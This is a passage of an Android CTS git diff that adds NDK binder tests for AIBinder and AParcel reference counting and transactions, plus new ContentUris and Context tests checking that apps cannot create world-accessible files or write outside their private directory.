copy to tests/tests/binder_ndk/Android.mk
index 225dc15..686bc02 100644
--- a/tests/libcore/coreapi/Android.mk
+++ b/tests/tests/binder_ndk/Android.mk
@@ -12,28 +12,30 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsLibcoreCoreApiTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_PACKAGE_NAME := CtsNdkBinderTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner \
- core-api-test
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+
+LOCAL_JNI_SHARED_LIBRARIES := libbinder_ndk_test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/AndroidManifest.xml b/tests/tests/binder_ndk/AndroidManifest.xml
new file mode 100644
index 0000000..c0efdd8
--- /dev/null
+++ b/tests/tests/binder_ndk/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.binder.cts">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <application android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <!-- This is a self-instrumenting test package. -->
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.binder.cts"
+ android:label="CTS tests of native binder API">
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/libcore/coreapi/AndroidTest.xml b/tests/tests/binder_ndk/AndroidTest.xml
similarity index 74%
copy from tests/libcore/coreapi/AndroidTest.xml
copy to tests/tests/binder_ndk/AndroidTest.xml
index f0ef03e..c627392 100644
--- a/tests/libcore/coreapi/AndroidTest.xml
+++ b/tests/tests/binder_ndk/AndroidTest.xml
@@ -13,16 +13,16 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<configuration description="Config for CTS Libcore core API test cases">
+<configuration description="Config for CTS NDK Binder test cases">
<option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <option name="config-descriptor:metadata" key="component" value="devtools" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsLibcoreCoreApiTestCases.apk" />
+ <option name="test-file-name" value="CtsNdkBinderTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.libcore.cts.coreapi" />
- <option name="runtime-hint" value="1m"/>
- <option name="hidden-api-checks" value="false"/>
+ <option name="package" value="android.binder.cts" />
+ <option name="runtime-hint" value="0m30s" />
</test>
</configuration>
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
new file mode 100644
index 0000000..30b96e7
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library_shared {
+ name: "libbinder_ndk_test",
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+
+ srcs: [
+ "android_binder_cts_ibinder.cpp",
+ "android_binder_cts_parcel.cpp",
+ "utilities.cpp",
+ ],
+
+ shared_libs: [
+ "liblog",
+ "libbinder_ndk",
+ ],
+ whole_static_libs: ["libnativetesthelper_jni"],
+
+ sdk_version: "current",
+ stl: "c++_static",
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_ibinder.cpp
new file mode 100644
index 0000000..fbcf11c
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_ibinder.cpp
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+class NdkBinderTest_AIBinder : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AIBinder, Destruction) {
+ bool destroyed = false;
+ AIBinder* binder =
+ SampleData::newBinder(nullptr, [&](SampleData*) { destroyed = true; });
+ EXPECT_FALSE(destroyed);
+ AIBinder_incStrong(binder); // 1 -> 2
+ EXPECT_FALSE(destroyed);
+ AIBinder_decStrong(binder); // 2 -> 1
+ EXPECT_FALSE(destroyed);
+ AIBinder_decStrong(binder); // 1 -> 0
+ EXPECT_TRUE(destroyed);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetClass) {
+ AIBinder* binder = SampleData::newBinder();
+ // class is already set since this local binder is contructed with it
+ EXPECT_EQ(SampleData::kClass, AIBinder_getClass(binder));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateClass) {
+ AIBinder* binder = SampleData::newBinder();
+ EXPECT_TRUE(AIBinder_associateClass(binder, SampleData::kClass));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, AssociateWrongClassFails) {
+ AIBinder* binder = SampleData::newBinder();
+ EXPECT_FALSE(AIBinder_associateClass(binder, SampleData::kAnotherClass));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, GetUserData) {
+ // This test can't use the helper utility since SampleData isn't exposed
+ SampleData* data = new SampleData;
+ // Takes ownership of data
+ AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+ EXPECT_EQ(data, AIBinder_getUserData(binder));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, DestructionGivesUserData) {
+ // This test can't use the helper utility since SampleData isn't exposed
+ SampleData* destroyedPointer = nullptr;
+ SampleData* data = new SampleData(
+ nullptr, [&](SampleData* data) { destroyedPointer = data; });
+ // Takes ownership of data
+ AIBinder* binder = AIBinder_new(SampleData::kClass, static_cast<void*>(data));
+ EXPECT_EQ(nullptr, destroyedPointer);
+ AIBinder_decStrong(binder);
+
+ // These pointers no longer reference valid memory locations, but the pointers
+ // themselves are valid
+ EXPECT_EQ(data, destroyedPointer);
+}
+
+TEST_F(NdkBinderTest_AIBinder, DebugRefCount) {
+ AIBinder* binder = SampleData::newBinder();
+ EXPECT_EQ(1, AIBinder_debugGetRefCount(binder));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanPromote) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ AIBinder* promoted = AIBinder_Weak_promote(weak);
+ EXPECT_EQ(binder, promoted);
+ AIBinder_Weak_delete(&weak);
+ EXPECT_EQ(nullptr, weak);
+ AIBinder_decStrong(binder);
+ AIBinder_decStrong(promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCanNotPromote) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ AIBinder_decStrong(binder);
+
+ AIBinder* promoted = AIBinder_Weak_promote(weak);
+ EXPECT_EQ(nullptr, promoted);
+}
+
+TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
+ AIBinder* binder = SampleData::newBinder();
+ EXPECT_FALSE(AIBinder_isRemote(binder));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, IsAlive) {
+ AIBinder* binder = SampleData::newBinder();
+ EXPECT_TRUE(AIBinder_isAlive(binder));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, CanPing) {
+ AIBinder* binder = SampleData::newBinder();
+ EXPECT_OK(AIBinder_ping(binder));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionHappens) {
+ AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+ ExpectLifetimeTransactions(1));
+ EXPECT_OK(SampleData::transact(binder, kCode));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, OnewayTransactionHappens) {
+ AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+ ExpectLifetimeTransactions(1));
+ EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+ ReadNothingFromParcel, FLAG_ONEWAY));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeMaintained) {
+ AIBinder* binder = SampleData::newBinder(
+ [&](transaction_code_t code, const AParcel*, AParcel*) {
+ EXPECT_EQ(code, kCode);
+ return STATUS_OK;
+ },
+ ExpectLifetimeTransactions(1));
+ EXPECT_OK(SampleData::transact(binder, kCode));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, TransactionCodeRangeRespected) {
+ AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK));
+ EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION));
+ EXPECT_OK(SampleData::transact(binder, FIRST_CALL_TRANSACTION + 1));
+ EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION - 1));
+ EXPECT_OK(SampleData::transact(binder, LAST_CALL_TRANSACTION));
+
+ EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+ SampleData::transact(binder, FIRST_CALL_TRANSACTION - 1));
+ EXPECT_EQ(STATUS_UNKNOWN_TRANSACTION,
+ SampleData::transact(binder, LAST_CALL_TRANSACTION + 1));
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, UnknownFlagsRejected) {
+ AIBinder* binder =
+ SampleData::newBinder(nullptr, ExpectLifetimeTransactions(0));
+ EXPECT_EQ(STATUS_BAD_VALUE,
+ SampleData::transact(binder, kCode, WriteNothingToParcel,
+ ReadNothingFromParcel, +1 + 415));
+ EXPECT_EQ(STATUS_BAD_VALUE,
+ SampleData::transact(binder, kCode, WriteNothingToParcel,
+ ReadNothingFromParcel, FLAG_ONEWAY + 1));
+ EXPECT_EQ(STATUS_BAD_VALUE,
+ SampleData::transact(binder, kCode, WriteNothingToParcel,
+ ReadNothingFromParcel, ~0));
+ AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_parcel.cpp
new file mode 100644
index 0000000..0b72824
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_parcel.cpp
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "utilities.h"
+
+#include <limits>
+#include <vector>
+
+class NdkBinderTest_AParcel : public NdkBinderTest {};
+
+// These reads and writes an array of possible values all of the same type.
+template <typename T, binder_status_t (*write)(AParcel*, const T),
+ binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOut(std::vector<T> in) {
+ AIBinder* binder = SampleData::newBinder(
+ [](transaction_code_t, const AParcel* in, AParcel* out) {
+ T readTarget;
+ EXPECT_OK(read(in, &readTarget));
+ EXPECT_OK(write(out, readTarget));
+ return STATUS_OK;
+ },
+ ExpectLifetimeTransactions(in.size()));
+
+ for (const auto& value : in) {
+ EXPECT_OK(SampleData::transact(binder, kCode,
+ [&](AParcel* in) {
+ EXPECT_OK(write(in, value));
+ return STATUS_OK;
+ },
+ [&](const AParcel* out) {
+ T readTarget;
+ EXPECT_OK(read(out, &readTarget));
+ EXPECT_EQ(value, readTarget);
+ return STATUS_OK;
+ }));
+ }
+
+ AIBinder_decStrong(binder);
+}
+
+template <typename T, binder_status_t (*write)(AParcel*, const T),
+ binder_status_t (*read)(const AParcel*, T*)>
+void ExpectInOutMinMax() {
+ ExpectInOut<T, write, read>(
+ {std::numeric_limits<T>::min(), std::numeric_limits<T>::max()});
+}
+
+TEST_F(NdkBinderTest_AParcel, ReadUnexpectedNullBinder) {
+ AIBinder* binder = SampleData::newBinder(
+ [](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+ AIBinder* value = nullptr;
+ binder_status_t ret = AParcel_readStrongBinder(in, &value);
+ EXPECT_EQ(nullptr, value);
+ EXPECT_EQ(STATUS_UNEXPECTED_NULL, ret);
+ return ret;
+ },
+ ExpectLifetimeTransactions(1));
+
+ EXPECT_EQ(STATUS_UNEXPECTED_NULL,
+ SampleData::transact(binder, kCode, [&](AParcel* in) {
+ EXPECT_OK(AParcel_writeStrongBinder(in, nullptr));
+ return STATUS_OK;
+ }));
+
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, BindersInMustComeOut) {
+ AIBinder* binder = SampleData::newBinder();
+
+ ExpectInOut<AIBinder*, AParcel_writeStrongBinder, AParcel_readStrongBinder>(
+ {binder});
+ // copy which is read when this binder is sent in a transaction to this
+ // process
+ AIBinder_decStrong(binder);
+ // copy which is read when this binder is returned in a transaction within
+ // this same process and is read again
+ AIBinder_decStrong(binder);
+
+ ExpectInOut<AIBinder*, AParcel_writeStrongBinder,
+ AParcel_readNullableStrongBinder>({nullptr, binder});
+ // copy which is read when this binder is sent in a transaction to this
+ // process
+ AIBinder_decStrong(binder);
+ // copy which is read when this binder is returned in a transaction within
+ // this same process and is read again
+ AIBinder_decStrong(binder);
+
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, WhatGoesInMustComeOut) {
+ ExpectInOut<int32_t, AParcel_writeInt32, AParcel_readInt32>(
+ {-7, -1, 0, 1, 45});
+ ExpectInOut<uint32_t, AParcel_writeUint32, AParcel_readUint32>(
+ {0, 1, 2, 100});
+ ExpectInOut<int64_t, AParcel_writeInt64, AParcel_readInt64>(
+ {-7, -1, 0, 1, 45});
+ ExpectInOut<uint64_t, AParcel_writeUint64, AParcel_readUint64>(
+ {0, 1, 2, 100});
+ ExpectInOut<float, AParcel_writeFloat, AParcel_readFloat>(
+ {-1.0f, 0.0f, 1.0f, 0.24975586f, 0.3f});
+ ExpectInOut<double, AParcel_writeDouble, AParcel_readDouble>(
+ {-1.0, 0.0, 1.0, 0.24975586, 0.3});
+
+ ExpectInOut<bool, AParcel_writeBool, AParcel_readBool>({true, false});
+ ExpectInOut<char16_t, AParcel_writeChar, AParcel_readChar>(
+ {L'\0', L'S', L'@', L'\n'});
+ ExpectInOut<int8_t, AParcel_writeByte, AParcel_readByte>({-7, -1, 0, 1, 45});
+}
+
+TEST_F(NdkBinderTest_AParcel, ExtremeValues) {
+ ExpectInOutMinMax<int32_t, AParcel_writeInt32, AParcel_readInt32>();
+ ExpectInOutMinMax<uint32_t, AParcel_writeUint32, AParcel_readUint32>();
+ ExpectInOutMinMax<int64_t, AParcel_writeInt64, AParcel_readInt64>();
+ ExpectInOutMinMax<uint64_t, AParcel_writeUint64, AParcel_readUint64>();
+ ExpectInOutMinMax<float, AParcel_writeFloat, AParcel_readFloat>();
+ ExpectInOutMinMax<double, AParcel_writeDouble, AParcel_readDouble>();
+ ExpectInOutMinMax<bool, AParcel_writeBool, AParcel_readBool>();
+ ExpectInOutMinMax<char16_t, AParcel_writeChar, AParcel_readChar>();
+ ExpectInOutMinMax<int8_t, AParcel_writeByte, AParcel_readByte>();
+}
+
+TEST_F(NdkBinderTest_AParcel, CantReadFromEmptyParcel) {
+ AIBinder* binder = SampleData::newBinder(TransactionsReturn(STATUS_OK),
+ ExpectLifetimeTransactions(1));
+
+ EXPECT_OK(SampleData::transact(
+ binder, kCode, WriteNothingToParcel, [&](const AParcel* out) {
+ bool readTarget = false;
+ EXPECT_EQ(STATUS_NOT_ENOUGH_DATA, AParcel_readBool(out, &readTarget));
+ EXPECT_FALSE(readTarget);
+ return STATUS_OK;
+ }));
+ AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
new file mode 100644
index 0000000..714d66f
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include "utilities.h"
+
+#include <android/log.h>
+
+static size_t sNumInstances = 0;
+size_t SampleData::numInstances() { return sNumInstances; }
+
+void* SampleClassOnCreate(void* args) {
+ sNumInstances++;
+ return args; // SampleData
+}
+
+void SampleClassOnDestroy(void* userData) {
+ SampleData* data = static_cast<SampleData*>(userData);
+ if (data->onDestroy != nullptr) {
+ data->onDestroy(data);
+ }
+ sNumInstances--;
+ delete data;
+}
+
+binder_status_t SampleClassOnTransact(AIBinder* binder, transaction_code_t code,
+ const AParcel* in, AParcel* out) {
+ SampleData* data = static_cast<SampleData*>(AIBinder_getUserData(binder));
+ if (data == nullptr) {
+ __android_log_write(ANDROID_LOG_FATAL, LOG_TAG, "null user data");
+ }
+ data->numberTransactions++;
+ if (data->onTransact == nullptr) {
+ ADD_FAILURE() << "onTransact not specified, but transactions called";
+ return STATUS_FAILED_TRANSACTION;
+ }
+ return data->onTransact(code, in, out);
+}
+
+const char* SampleData::kDescriptor = "this-is-arbitrary";
+const AIBinder_Class* SampleData::kClass =
+ AIBinder_Class_define(SampleData::kDescriptor, SampleClassOnCreate,
+ SampleClassOnDestroy, SampleClassOnTransact);
+
+const char* SampleData::kAnotherDescriptor = "this-is-another-arbitrary-thing";
+const AIBinder_Class* SampleData::kAnotherClass =
+ AIBinder_Class_define(SampleData::kAnotherDescriptor, SampleClassOnCreate,
+ SampleClassOnDestroy, SampleClassOnTransact);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
new file mode 100644
index 0000000..dfb8283
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/utilities.h
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/binder_ibinder.h>
+#include <gtest/gtest.h>
+
+#include <functional>
+
+// Helpers for testing
+
+#define EXPECT_OK(THING) EXPECT_EQ(STATUS_OK, (THING))
+#define ASSERT_OK(THING) ASSERT_EQ(STATUS_OK, (THING))
+
+// placeholder
+constexpr transaction_code_t kCode = +1 + 918;
+
+// Usually, things at this level would be generated by the aidl compiler. This
+// class is merely to make testing the API easier.
+
+struct SampleData;
+
+typedef std::function<void(SampleData*)> OnDestroyFunc;
+typedef std::function<binder_status_t(transaction_code_t code,
+ const AParcel* in, AParcel* out)>
+ OnTransactFunc;
+
+typedef std::function<binder_status_t(AParcel*)> WriteParcel;
+typedef std::function<binder_status_t(const AParcel*)> ReadParcel;
+
+static inline binder_status_t WriteNothingToParcel(AParcel*) {
+ return STATUS_OK;
+}
+static inline binder_status_t ReadNothingFromParcel(const AParcel*) {
+ return STATUS_OK;
+}
+
+struct SampleData {
+ static size_t numInstances();
+
+ static const char* kDescriptor;
+ static const AIBinder_Class* kClass;
+
+ static const char* kAnotherDescriptor;
+ static const AIBinder_Class* kAnotherClass;
+
+ SampleData(const OnTransactFunc& oT = nullptr,
+ const OnDestroyFunc& oD = nullptr)
+ : onTransact(oT), onDestroy(oD) {}
+
+ // This is called when the class is transacted on if non-null.
+ // Otherwise, STATUS_FAILED_TRANSACTION is returned.
+ OnTransactFunc onTransact;
+
+ // This is called when the class is destroyed if non-null.
+ OnDestroyFunc onDestroy;
+
+ // Automatically updated by this class whenever a transaction is received.
+ int numberTransactions = 0;
+
+ __attribute__((warn_unused_result)) static AIBinder* newBinder(
+ OnTransactFunc onTransact = nullptr, OnDestroyFunc onDestroy = nullptr) {
+ SampleData* data = new SampleData(onTransact, onDestroy);
+ return AIBinder_new(kClass, static_cast<void*>(data));
+ };
+
+ // Helper method to simplify transaction logic
+ static binder_status_t transact(AIBinder* binder, transaction_code_t code,
+ WriteParcel writeFunc = WriteNothingToParcel,
+ ReadParcel readFunc = ReadNothingFromParcel,
+ binder_flags_t flags = 0) {
+ AParcel* in;
+ binder_status_t status = AIBinder_prepareTransaction(binder, &in);
+ if (status != STATUS_OK) return status;
+
+ status = writeFunc(in);
+ if (status != STATUS_OK) {
+ AParcel_delete(&in);
+ EXPECT_EQ(nullptr, in);
+ return status;
+ }
+
+ AParcel* out;
+ status = AIBinder_transact(binder, code, &in, &out, flags);
+ if (status != STATUS_OK) return status;
+
+ status = readFunc(out);
+ AParcel_delete(&out);
+ EXPECT_EQ(nullptr, out);
+
+ return status;
+ }
+};
+
+static inline OnDestroyFunc ExpectLifetimeTransactions(size_t count) {
+ return [count](SampleData* data) {
+ EXPECT_EQ(count, data->numberTransactions)
+ << "Expected " << count
+ << " transaction(s), but over the lifetime of this object, it received "
+ << data->numberTransactions;
+ };
+}
+
+static inline OnTransactFunc TransactionsReturn(binder_status_t result) {
+ return
+ [result](transaction_code_t, const AParcel*, AParcel*) { return result; };
+}
+
+class NdkBinderTest : public ::testing::Test {
+ public:
+ void SetUp() override { EXPECT_EQ(0, SampleData::numInstances()); }
+ void TearDown() override { EXPECT_EQ(0, SampleData::numInstances()); }
+};
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
new file mode 100644
index 0000000..d2e416f
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+@RunWith(GtestRunner.class)
+@TargetLibrary("binder_ndk_test")
+public class NdkBinderTest {}
diff --git a/tests/tests/content/src/android/content/cts/ContentUrisTest.java b/tests/tests/content/src/android/content/cts/ContentUrisTest.java
index 7bd0084..65ae443 100644
--- a/tests/tests/content/src/android/content/cts/ContentUrisTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentUrisTest.java
@@ -110,4 +110,31 @@
// expected, test success.
}
}
+
+ public void testRemoveId() {
+ assertEquals(Uri.parse("content://auth"),
+ ContentUris.removeId(Uri.parse("content://auth/12")));
+ assertEquals(Uri.parse("content://auth/path"),
+ ContentUris.removeId(Uri.parse("content://auth/path/12")));
+ assertEquals(Uri.parse("content://auth/path/path"),
+ ContentUris.removeId(Uri.parse("content://auth/path/path/12")));
+ }
+
+ public void testRemoveId_MissingId() {
+ try {
+ ContentUris.removeId(Uri.parse("content://auth/"));
+ fail("There should be a IllegalArgumentException thrown out.");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ ContentUris.removeId(Uri.parse("content://auth/path/"));
+ fail("There should be a IllegalArgumentException thrown out.");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ ContentUris.removeId(Uri.parse("content://auth/path/path/"));
+ fail("There should be a IllegalArgumentException thrown out.");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
}
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index 413da63..a9655f1 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -45,6 +45,7 @@
import android.os.IBinder;
import android.os.Looper;
import android.os.Process;
+import android.os.UserHandle;
import android.preference.PreferenceManager;
import android.test.AndroidTestCase;
import android.util.AttributeSet;
@@ -769,6 +770,16 @@
assertNotNull(actualContext);
}
+ public void testCreatePackageContextAsUser() throws Exception {
+ for (UserHandle user : new UserHandle[] {
+ android.os.Process.myUserHandle(),
+ UserHandle.ALL, UserHandle.CURRENT, UserHandle.SYSTEM
+ }) {
+ assertEquals(user, mContext
+ .createPackageContextAsUser(getValidPackageName(), 0, user).getUser());
+ }
+ }
+
/**
* Helper method to retrieve a valid application package name to use for tests.
*/
@@ -1331,4 +1342,39 @@
public void onServiceDisconnected(ComponentName name) {
}
}
+
+ public void testOpenFileOutput_mustNotCreateWorldReadableFile() throws Exception {
+ try {
+ mContext.openFileOutput("test.txt", Context.MODE_WORLD_READABLE);
+ fail("Exception expected");
+ } catch (SecurityException expected) {
+ }
+ }
+
+ public void testOpenFileOutput_mustNotCreateWorldWriteableFile() throws Exception {
+ try {
+ mContext.openFileOutput("test.txt", Context.MODE_WORLD_WRITEABLE);
+ fail("Exception expected");
+ } catch (SecurityException expected) {
+ }
+ }
+
+ public void testOpenFileOutput_mustNotWriteToParentDirectory() throws Exception {
+ try {
+ // Created files must be under the application's private directory.
+ mContext.openFileOutput("../test.txt", Context.MODE_PRIVATE);
+ fail("Exception expected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ public void testOpenFileOutput_mustNotUseAbsolutePath() throws Exception {
+ try {
+ // Created files must be under the application's private directory.
+ mContext.openFileOutput("/tmp/test.txt", Context.MODE_PRIVATE);
+ fail("Exception expected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java
index 06fe3ba..8cc6e9d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java
@@ -20,8 +20,8 @@
import android.database.DatabaseUtils;
import android.database.sqlite.SQLiteCompatibilityWalFlags;
import android.database.sqlite.SQLiteDatabase;
-import android.database.sqlite.SQLiteDatabase.OpenParams;
import android.test.AndroidTestCase;
+import android.util.Log;
import com.android.compatibility.common.util.SystemUtil;
